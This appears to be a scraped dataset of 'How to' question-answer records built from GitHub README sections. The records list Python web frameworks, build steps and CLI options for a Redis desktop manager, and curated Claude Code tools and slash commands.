{"id": "gh_49181605d93c", "question": "How to: Web Frameworks", "question_body": "About vinta/awesome-python", "answer": "_Traditional full stack web frameworks. Also see [RESTful API](https://github.com/vinta/awesome-python#restful-api)._\n\n- Synchronous\n  - [django](https://github.com/django/django) - The most popular web framework in Python.\n    - [awesome-django](https://github.com/shahraizali/awesome-django)\n    - [awesome-django](https://github.com/wsvincent/awesome-django)\n  - [flask](https://github.com/pallets/flask) - A microframework for Python.\n    - [awesome-flask](https://github.com/humiaozuzu/awesome-flask)\n  - [pyramid](https://pylonsproject.org/) - A small, fast, down-to-earth, open source Python web framework.\n    - [awesome-pyramid](https://github.com/uralbash/awesome-pyramid)\n  - [fastHTML](https://github.com/AnswerDotAI/fasthtml) - The fastest way to create an HTML app.\n    - [awesome-fasthtml](https://github.com/amosgyamfi/awesome-fasthtml)\n  - [masonite](https://github.com/MasoniteFramework/masonite) - The modern and developer centric Python web framework.\n- Asynchronous\n  - [microdot](https://github.com/miguelgrinberg/microdot) - The impossibly small web framework for Python and MicroPython.\n  - [reflex](https://github.com/reflex-dev/reflex) – A framework for building reactive, full-stack web applications entirely with python .\n  - [tornado](https://github.com/tornadoweb/tornado) - A web framework and asynchronous networking library.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 278605, "answer_score": 10, "has_code": true, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117349"}
{"id": "gh_c2eb060dcd4a", "question": "How to: WSGI Servers", "question_body": "About vinta/awesome-python", "answer": "_WSGI-compatible web servers._\n\n- [gunicorn](https://github.com/benoitc/gunicorn) - Pre-forked, ported from Ruby's Unicorn project.\n- [uwsgi](https://uwsgi-docs.readthedocs.io/en/latest/) - A project aims at developing a full stack for building hosting services, written in C.\n- [waitress](https://github.com/Pylons/waitress) - Multi-threaded, powers Pyramid.\n- [werkzeug](https://github.com/pallets/werkzeug) - A WSGI utility library for Python that powers Flask and can easily be embedded into your own projects.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117355"}
{"id": "gh_fc1e7952c68e", "question": "How to: Newsletters", "question_body": "About vinta/awesome-python", "answer": "- [Awesome Python Newsletter](http://python.libhunt.com/newsletter)\n- [Pycoder's Weekly](https://pycoders.com/)\n- [Python Tricks](https://realpython.com/python-tricks/)\n- [Python Weekly](https://www.pythonweekly.com/)", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117360"}
{"id": "gh_5dead1fda86a", "question": "How to: Contributing", "question_body": "About vinta/awesome-python", "answer": "Your contributions are always welcome! Please take a look at the [contribution guidelines](https://github.com/vinta/awesome-python/blob/master/CONTRIBUTING.md) first.\n\n---\n\nIf you have any question about this opinionated list, do not hesitate to contact me [@VintaChen](https://twitter.com/VintaChen) on Twitter or open an issue on GitHub.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.117366"}
{"id": "gh_90d5e6eec51d", "question": "How to: Contributors", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "This project exists thanks to all the people who contribute.\n[![contributors](https://opencollective.com/AnotherRedisDesktopManager/contributors.svg?width=890&button=false)](https://github.com/qishibo/AnotherRedisDesktopManager/graphs/contributors)\n[![backers](https://opencollective.com/AnotherRedisDesktopManager/backers.svg)](https://opencollective.com/AnotherRedisDesktopManager)", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431213"}
{"id": "gh_44ffa68f6185", "question": "How to: clone code", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "git clone https://github.com/qishibo/AnotherRedisDesktopManager.git --depth=1\ncd AnotherRedisDesktopManager", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431242"}
{"id": "gh_953e3101f4a6", "question": "How to: after the previous step is completed to 100%, open another tab, build up a desktop client", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "npm run electron\n```\n\nIf linux errors like this:\n\n```bash", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 33787, "answer_score": 10, "has_code": true, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431250"}
{"id": "gh_ffed566fe937", "question": "How to: if error like this", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "../src/FontManagerLinux.cc:1:35: fatal error: fontconfig/fontconfig.h: No such file or directory", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431255"}
{"id": "gh_8d4f539f36b5", "question": "How to: Configuration example：", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "> Add env to the first line of the script, the final executed command is: `./home/qii/pickle_decoder.py {HEX}`, the script can receive parameters via `argv[1]`, ref [#978](https://github.com/qishibo/AnotherRedisDesktopManager/issues/987#issuecomment-1294844707)\n\n| Command | Params |\n| ------ | ------ |\n| `/home/qii/pickle_decoder.py` | `{HEX}` |\n| `/home/qii/shell_decoder.sh` | `{VALUE}` |", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431280"}
{"id": "gh_f6c1127dea00", "question": "How to: Without execute permission `x`：", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "> The final executed command is: `/bin/node /home/qii/node_decoder.js {HEX} --key={KEY}`, the script can receive parameters via `argv[1]`\n\n| Command | Params |\n| ------ | ------ |\n| `/bin/bash` | `/home/qii/shell_decoder.sh {VALUE}` |\n| `/bin/node` | `/home/qii/node_decoder.js {HEX} --key={KEY}` |", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431286"}
{"id": "gh_3c172ac5a9fd", "question": "How to: Start From Command Line(CLI)", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "> If you want to start from command line(CLI), you can pass args to the App.", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431290"}
{"id": "gh_b5da8901005f", "question": "How to: Parameter Description", "question_body": "About qishibo/AnotherRedisDesktopManager", "answer": "#### Common\n\n| Args | Description | Args | Description |\n| ------ | ------ | ------ | ------ |\n| --host | Redis host* | --port | Redis port|\n| --auth | Password | --name | Custom name|\n| --separator | Key separator | --readonly | Enable readonly mode|\n| --username | Username（Redis6 ACL）| --save| Enable saving, one-time link by default|\n\n#### SSH\n\n| Args | Description | Args | Description |\n| ------ | ------ | ------ | ------ |\n| --ssh-host | SSH host* | --ssh-port | SSH port（default:22）|\n| --ssh-username | Username* | --ssh-password | Password|\n| --ssh-private-key | Path of private key | --ssh-passphrase | Password of private key|\n| --ssh-timeout | SSH timeout(s) | |  |\n\n#### CLUSTER\n\n| Args | Description |\n| ------ | ------ |\n| --cluster | Enable CLUSTER mode |\n\n#### SSL\n\n| Args | Description | Args | Description |\n| ------ | ------ | ------ | ------ |\n| --ssl | Enable SSL* | --ssl-key | SSL Private Key Pem|\n| --ssl-ca | SSL Certificate Authority | --ssl-cert | SSL Public Key Pem|\n\n#### SENTINEL\n\n| Args | Description |\n| ------ | ------ |\n| --sentinel-master-name | Name of master group*，like 'mymaster' |\n| --sentinel-node-password | Password of Redis node |", "tags": ["qishibo"], "source": "github_gists", "category": "qishibo", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 33787, "answer_score": 10, "has_code": false, "url": "https://github.com/qishibo/AnotherRedisDesktopManager", "collected_at": "2026-01-17T13:00:17.431305"}
{"id": "gh_2c44254d604a", "question": "How to: Awesome Claude Code", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "[![Awesome](https://awesome.re/badge.svg)](https://awesome.re)\n\n> A curated list of slash-commands, CLAUDE.md files, CLI tools, and other resources for enhancing your [Claude Code](https://docs.anthropic.com/en/docs/claude-code) workflow.\n\nClaude Code is a CLI-based coding assistant from [Anthropic](https://www.anthropic.com/) that you can access in your terminal or IDE. This list helps the community share knowledge and best practices.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517021"}
{"id": "gh_a5c55bbe41d5", "question": "How to: Latest Additions", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [Plannotator](https://github.com/backnotprop/plannotator) by [backnotprop](https://github.com/backnotprop) - Interactive plan review UI that intercepts ExitPlanMode via hooks, letting users visually annotate plans with comments, deletions, and replacements before approving or denying with detailed feedback.\n- [Ralph Wiggum Marketer](https://github.com/muratcankoylan/ralph-wiggum-marketer) by [Muratcan Koylan](https://github.com/muratcankoylan) - A Claude Code plugin that provides an autonomous AI copywriter,  integrating the Ralph loop with customized knowledge bases for market research agents. The agents do the research, Ralph writes the copy, you stay in bed. Whether or not you practice Ralph-Driven Development (RDD), I think these projects are interesting and creative explorations of general agentic patterns.\n- [The Ralph Playbook](https://github.com/ClaytonFarr/ralph-playbook) by [Clayton Farr](https://github.com/ClaytonFarr) - A remarkably detailed and comprehensive guide to the Ralph Wiggum technique, featuring well-written theoretical commentary paired with practical guidelines and advice.\n- [ralph-orchestrator](https://github.com/mikeyobrien/ralph-orchestrator) by [mikeyobrien](https://github.com/mikeyobrien) - Ralph Orchestrator implements the simple but effective \"Ralph Wiggum\" technique for autonomous task completion, continuously running an AI agent against a prompt file until the task is marked as complete or limits are reached. This implementation provides a robust, well-tested, and feature-complete orchestration system for AI-driven development. Also cited in the Anthropic Ralph plugin documentation.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517037"}
{"id": "gh_03f78112544e", "question": "How to: Agent Skills 🤖", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> Agent skills are model-controlled configurations (files, scripts, resources, etc.) that enable Claude Code to perform specialized tasks requiring specific knowledge or capabilities.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517049"}
{"id": "gh_e9dc04ebf9f3", "question": "How to: Workflows & Knowledge Guides 🧠", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> A workflow is a tightly coupled set of Claude Code-native resources that facilitate specific projects", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517058"}
{"id": "gh_2cd913f45e00", "question": "How to: Ralph Wiggum", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [Ralph for Claude Code](https://github.com/frankbria/ralph-claude-code) by [Frank Bria](https://github.com/frankbria) - An autonomous AI development framework that enables Claude Code to work iteratively on projects until completion. Features intelligent exit detection, rate limiting, circuit breaker patterns, and comprehensive safety guardrails to prevent infinite loops and API overuse. Built with Bash, integrated with tmux for live monitoring, and includes 75+ comprehensive tests.\n- [Ralph Wiggum Marketer](https://github.com/muratcankoylan/ralph-wiggum-marketer) by [Muratcan Koylan](https://github.com/muratcankoylan) - A Claude Code plugin that provides an autonomous AI copywriter,  integrating the Ralph loop with customized knowledge bases for market research agents. The agents do the research, Ralph writes the copy, you stay in bed. Whether or not you practice Ralph-Driven Development (RDD), I think these projects are interesting and creative explorations of general agentic patterns.\n- [ralph-orchestrator](https://github.com/mikeyobrien/ralph-orchestrator) by [mikeyobrien](https://github.com/mikeyobrien) - Ralph Orchestrator implements the simple but effective \"Ralph Wiggum\" technique for autonomous task completion, continuously running an AI agent against a prompt file until the task is marked as complete or limits are reached. This implementation provides a robust, well-tested, and feature-complete orchestration system for AI-driven development. Also cited in the Anthropic Ralph plugin documentation.\n- [The Ralph Playbook](https://github.com/ClaytonFarr/ralph-playbook) by [Clayton Farr](https://github.com/ClaytonFarr) - A remarkably detailed and comprehensive guide to the Ralph Wiggum technique, featuring well-written theoretical commentary paired with practical guidelines and advice.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517071"}
{"id": "gh_15093f8b81b0", "question": "How to: IDE Integrations", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [Claude Code Chat](https://marketplace.visualstudio.com/items?itemName=AndrePimenta.claude-code-chat) by [andrepimenta](https://github.com/andrepimenta) - An elegant and user-friendly Claude Code chat interface for VS Code.\n- [claude-code-ide.el](https://github.com/manzaltu/claude-code-ide.el) by [manzaltu](https://github.com/manzaltu) - claude-code-ide.el integrates Claude Code with Emacs, like Anthropic’s VS Code/IntelliJ extensions. It shows ediff-based code suggestions, pulls LSP/flymake/flycheck diagnostics, and tracks buffer context. It adds an extensible MCP tool support for symbol refs/defs, project metadata, and tree-sitter AST queries.\n- [claude-code.el](https://github.com/stevemolitor/claude-code.el) by [stevemolitor](https://github.com/stevemolitor) - An Emacs interface for Claude Code CLI.\n- [claude-code.nvim](https://github.com/greggh/claude-code.nvim) by [greggh](https://github.com/greggh) - A seamless integration between Claude Code AI assistant and Neovim.\n- [Claudix - Claude Code for VSCode](https://github.com/Haleclipse/Claudix) by [Haleclipse](https://github.com/Haleclipse) - A VSCode extension that brings Claude Code directly into your editor with interactive chat interface, session management, intelligent file operations, terminal execution, and real-time streaming responses. Built with Vue 3, TypeScript.\n- [crystal](https://github.com/stravu/crystal) by [stravu](https://github.com/stravu) - A full-fledged desktop application for orchestrating, monitoring, and interacting with Claude Code agents.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517085"}
{"id": "gh_842f6ea7bd47", "question": "How to: Usage Monitors", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [CC Usage](https://github.com/ryoppippi/ccusage) by [ryoppippi](https://github.com/ryoppippi) - Handy CLI tool for managing and analyzing Claude Code usage, based on analyzing local Claude Code logs. Presents a nice dashboard regarding cost information, token consumption, etc.\n- [ccflare](https://github.com/snipeship/ccflare) by [snipeship](https://github.com/snipeship) - Claude Code usage dashboard with a web-UI that would put Tableau to shame. Thoroughly comprehensive metrics, frictionless setup, detailed logging, really really nice UI.\n- [ccflare -> **better-ccflare**](https://github.com/tombii/better-ccflare/) by [tombii](https://github.com/tombii) - A well-maintained and feature-enhanced fork of the glorious `ccflare` usage dashboard by @snipeship (which at the time of writing has not had an update in a few months). `better-ccflare` builds on this foundation with some performance enhancements, extended provider support, bug fixes, Docker deployment, and more.\n- [Claude Code Usage Monitor](https://github.com/Maciek-roboblog/Claude-Code-Usage-Monitor) by [Maciek-roboblog](https://github.com/Maciek-roboblog) - A real-time terminal-based tool for monitoring Claude Code token usage. It shows live token consumption, burn rate, and predictions for token depletion. Features include visual progress bars, session-aware analytics, and support for multiple subscription plans.\n- [Claudex](https://github.com/kunwar-shah/claudex) by [Kunwar Shah](https://github.com/kunwar-shah) - Claudex - A web-based browser for exploring your Claude Code conversation history across projects. Indexes your codebase for full-text search. Nice, easy-to-navigate UI. Simple dashboard interface for high-level analytics, and multiple export options as well. (And completely local w/ no telemetry!).\n- [viberank](https://github.com/sculptdotfun/viberank) by [nikshepsvn](https://github.com/nikshepsvn) - A community-driven leaderboard tool that enables developers to visualize, track, and compete based on their Claude Code usage statistics. It features robust data analytics, GitHub OAuth, data validation, and user-friendly CLI/web submission methods.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517093"}
{"id": "gh_1546d169e980", "question": "How to: Orchestrators", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [Claude Code Flow](https://github.com/ruvnet/claude-code-flow) by [ruvnet](https://github.com/ruvnet) - This mode serves as a code-first orchestration layer, enabling Claude to write, edit, test, and optimize code autonomously across recursive agent cycles.\n- [Claude Squad](https://github.com/smtg-ai/claude-squad) by [smtg-ai](https://github.com/smtg-ai) - Claude Squad is a terminal app that manages multiple Claude Code, Codex (and other local agents including Aider) in separate workspaces, allowing you to work on multiple tasks simultaneously.\n- [Claude Swarm](https://github.com/parruda/claude-swarm) by [parruda](https://github.com/parruda) - Launch Claude Code session that is connected to a swarm of Claude Code Agents.\n- [Claude Task Master](https://github.com/eyaltoledano/claude-task-master) by [eyaltoledano](https://github.com/eyaltoledano) - A task management system for AI-driven development with Claude, designed to work seamlessly with Cursor AI.\n- [Claude Task Runner](https://github.com/grahama1970/claude-task-runner) by [grahama1970](https://github.com/grahama1970) - A specialized tool to manage context isolation and focused task execution with Claude Code, solving the critical challenge of context length limitations and task focus when working with Claude on complex, multi-step projects.\n- [Happy Coder](https://github.com/slopus/happy) by [GrocerPublishAgent](https://peoplesgrocers.com/en/projects) - Spawn and control multiple Claude Codes in parallel from your phone or desktop. Happy Coder runs Claude Code on your hardware, sends push notifications when Claude needs more input or permission, and costs nothing.\n- [The Agentic Startup](https://github.com/rsmdt/the-startup) by [Rudolf Schmidt](https://github.com/rsmdt) - Yet Another Claude Orchestrator - a collection of agents, commands, etc., for shipping production code - but I like this because it's comprehensive, well-written, and one of the few resources that actually uses Output Styles! +10 points!\n- [TSK - AI Agent Task Manager and Sandbox](https://github.com/dtormoen/tsk) by [dtormoen](https://github.com/dtormoen) - A Rust CLI tool that lets you delegate development tasks to AI agents running in sandboxed Docker environments. Multiple agents work in parallel, returning git branches for human review.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517101"}
{"id": "gh_0027d8376280", "question": "How to: Status Lines 📊", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> Status lines - Configurations and customizations for Claude Code's status bar functionality", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517107"}
{"id": "gh_9c9f6ba2c67f", "question": "How to: Slash-Commands 🔪", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "> \"Slash Commands are customized, carefully refined prompts that control Claude's behavior in order to perform a specific task\"", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517115"}
{"id": "gh_c738a6ef6cd6", "question": "How to: Version Control & Git", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/analyze-issue](https://github.com/jerseycheese/Narraitor/blob/feature/issue-227-ai-suggestions/.claude/commands/analyze-issue.md) by [jerseycheese](https://github.com/jerseycheese) - Fetches GitHub issue details to create comprehensive implementation specifications, analyzing requirements and planning structured approach with clear implementation steps.\n- [/commit](https://github.com/evmts/tevm-monorepo/blob/main/.claude/commands/commit.md) by [evmts](https://github.com/evmts) - Creates git commits using conventional commit format with appropriate emojis, following project standards and creating descriptive messages that explain the purpose of changes.\n- [/commit-fast](https://github.com/steadycursor/steadystart/blob/main/.claude/commands/2-commit-fast.md) by [steadycursor](https://github.com/steadycursor) - Automates git commit process by selecting the first suggested message, generating structured commits with consistent formatting while skipping manual confirmation and removing Claude co-Contributorship footer.\n- [/create-pr](https://github.com/toyamarinyon/giselle/blob/main/.claude/commands/create-pr.md) by [toyamarinyon](https://github.com/toyamarinyon) - Streamlines pull request creation by handling the entire workflow: creating a new branch, committing changes, formatting modified files with Biome, and submitting the PR.\n- [/create-pull-request](https://github.com/liam-hq/liam/blob/main/.claude/commands/create-pull-request.md) by [liam-hq](https://github.com/liam-hq) - Provides comprehensive PR creation guidance with GitHub CLI, enforcing title conventions, following template structure, and offering concrete command examples with best practices.\n- [/create-worktrees](https://github.com/evmts/tevm-monorepo/blob/main/.claude/commands/create-worktrees.md) by [evmts](https://github.com/evmts) - Creates git worktrees for all open PRs or specific branches, handling branches with slashes, cleaning up stale worktrees, and supporting custom branch creation for development.\n- [/fix-github-issue](https://github.com/jeremymailen/kotlinter-gradle/blob/master/.claude/commands/fix-github-issue.md) by [jeremymailen](https://github.com/jeremymailen) - Analyzes and fixes GitHub issues using a structured approach with GitHub CLI for issue details, implementing necessary code changes, running tests, and creating proper commit messages.\n- [/fix-issue](https://github.com/metabase/metabase/blob/master/.claude/commands/fix-issue.md) by [metabase](https://github.com/metabase) - Addresses GitHub issues by taking issue number as parameter, analyzing context, implementing solution, and testing/validating the fix for proper integration.\n- [/fix-pr](https://github.com/metabase/metabase/blob/master/.claude/commands/fix-pr.md) by [metabase](https://github.com/metabase) - Fetches and fixes unresolved PR comments by automatically retrieving feedback, addressing reviewer concerns, making targeted code improvements, and streamlining the review process.\n- [/husky](https://github.com/evmts/tevm-monorepo/blob/main/.claude/commands/husky.md) by [evmts](https://github.com/evmts) - Sets up and manages Husky Git hooks by configuring pre-commit hooks, establishing commit message standards, integrating with linting tools, and ensuring code quality on commits.\n- [/update-branch-name](https://github.com/giselles-ai/giselle/blob/main/.claude/commands/update-branch-name.md) by [giselles-ai](https://github.com/giselles-ai) - Updates branch names with proper prefixes and formats, enforcing naming conventions, supporting semantic prefixes, and managing remote branch updates.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517125"}
{"id": "gh_c98684ce12a1", "question": "How to: Code Analysis & Testing", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/check](https://github.com/rygwdn/slack-tools/blob/main/.claude/commands/check.md) by [rygwdn](https://github.com/rygwdn) - Performs comprehensive code quality and security checks, featuring static analysis integration, security vulnerability scanning, code style enforcement, and detailed reporting.\n- [/code_analysis](https://github.com/kingler/n8n_agent/blob/main/.claude/commands/code_analysis.md) by [kingler](https://github.com/kingler) - Provides a menu of advanced code analysis commands for deep inspection, including knowledge graph generation, optimization suggestions, and quality evaluation.\n- [/optimize](https://github.com/to4iki/ai-project-rules/blob/main/.claude/commands/optimize.md) by [to4iki](https://github.com/to4iki) - Analyzes code performance to identify bottlenecks, proposing concrete optimizations with implementation guidance for improved application performance.\n- [/repro-issue](https://github.com/rzykov/metabase/blob/master/.claude/commands/repro-issue.md) by [rzykov](https://github.com/rzykov) - Creates reproducible test cases for GitHub issues, ensuring tests fail reliably and documenting clear reproduction steps for developers.\n- [/tdd](https://github.com/zscott/pane/blob/main/.claude/commands/tdd.md) by [zscott](https://github.com/zscott) - Guides development using Test-Driven Development principles, enforcing Red-Green-Refactor discipline, integrating with git workflow, and managing PR creation.\n- [/tdd-implement](https://github.com/jerseycheese/Narraitor/blob/feature/issue-227-ai-suggestions/.claude/commands/tdd-implement.md) by [jerseycheese](https://github.com/jerseycheese) - Implements Test-Driven Development by analyzing feature requirements, creating tests first (red), implementing minimal passing code (green), and refactoring while maintaining tests.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517132"}
{"id": "gh_fcc7cdde2fd3", "question": "How to: Context Loading & Priming", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/context-prime](https://github.com/elizaOS/elizaos.github.io/blob/main/.claude/commands/context-prime.md) by [elizaOS](https://github.com/elizaOS) - Primes Claude with comprehensive project understanding by loading repository structure, setting development context, establishing project goals, and defining collaboration parameters.\n- [/initref](https://github.com/okuvshynov/cubestat/blob/main/.claude/commands/initref.md) by [okuvshynov](https://github.com/okuvshynov) - Initializes reference documentation structure with standard doc templates, API reference setup, documentation conventions, and placeholder content generation.\n- [/load-llms-txt](https://github.com/ethpandaops/xatu-data/blob/master/.claude/commands/load-llms-txt.md) by [ethpandaops](https://github.com/ethpandaops) - Loads LLM configuration files to context, importing specific terminology, model configurations, and establishing baseline terminology for AI discussions.\n- [/load_coo_context](https://github.com/Mjvolk3/torchcell/blob/main/.claude/commands/load_coo_context.md) by [Mjvolk3](https://github.com/Mjvolk3) - References specific files for sparse matrix operations, explains transform usage, compares with previous approaches, and sets data formatting context for development.\n- [/load_dango_pipeline](https://github.com/Mjvolk3/torchcell/blob/main/.claude/commands/load_dango_pipeline.md) by [Mjvolk3](https://github.com/Mjvolk3) - Sets context for model training by referencing pipeline files, establishing working context, and preparing for pipeline work with relevant documentation.\n- [/prime](https://github.com/yzyydev/AI-Engineering-Structure/blob/main/.claude/commands/prime.md) by [yzyydev](https://github.com/yzyydev) - Sets up initial project context by viewing directory structure and reading key files, creating standardized context with directory visualization and key documentation focus.\n- [/rsi](https://github.com/ddisisto/si/blob/main/.claude/commands/rsi.md) by [ddisisto](https://github.com/ddisisto) - Reads all commands and key project files to optimize AI-assisted development by streamlining the process, loading command context, and setting up for better development workflow.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517139"}
{"id": "gh_3b3dc4428fb7", "question": "How to: Documentation & Changelogs", "question_body": "About hesreallyhim/awesome-claude-code", "answer": "- [/add-to-changelog](https://github.com/berrydev-ai/blockdoc-python/blob/main/.claude/commands/add-to-changelog.md) by [berrydev-ai](https://github.com/berrydev-ai) - Adds new entries to changelog files while maintaining format consistency, properly documenting changes, and following established project standards for version tracking.\n- [/create-docs](https://github.com/jerseycheese/Narraitor/blob/feature/issue-227-ai-suggestions/.claude/commands/create-docs.md) by [jerseycheese](https://github.com/jerseycheese) - Analyzes code structure and purpose to create comprehensive documentation detailing inputs/outputs, behavior, user interaction flows, and edge cases with error handling.\n- [/docs](https://github.com/slunsford/coffee-analytics/blob/main/.claude/commands/docs.md) by [slunsford](https://github.com/slunsford) - Generates comprehensive documentation that follows project structure, documenting APIs and usage patterns with consistent formatting for better user understanding.\n- [/explain-issue-fix](https://github.com/hackdays-io/toban-contribution-viewer/blob/main/.claude/commands/explain-issue-fix.md) by [hackdays-io](https://github.com/hackdays-io) - Documents solution approaches for GitHub issues, explaining technical decisions, detailing challenges overcome, and providing implementation context for better understanding.\n- [/update-docs](https://github.com/Consiliency/Flutter-Structurizr/blob/main/.claude/commands/update-docs.md) by [Consiliency](https://github.com/Consiliency) - Reviews current documentation status, updates implementation progress, reviews phase documents, and maintains documentation consistency across the project.", "tags": ["hesreallyhim"], "source": "github_gists", "category": "hesreallyhim", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20710, "answer_score": 10, "has_code": false, "url": "https://github.com/hesreallyhim/awesome-claude-code", "collected_at": "2026-01-17T13:00:19.517145"}
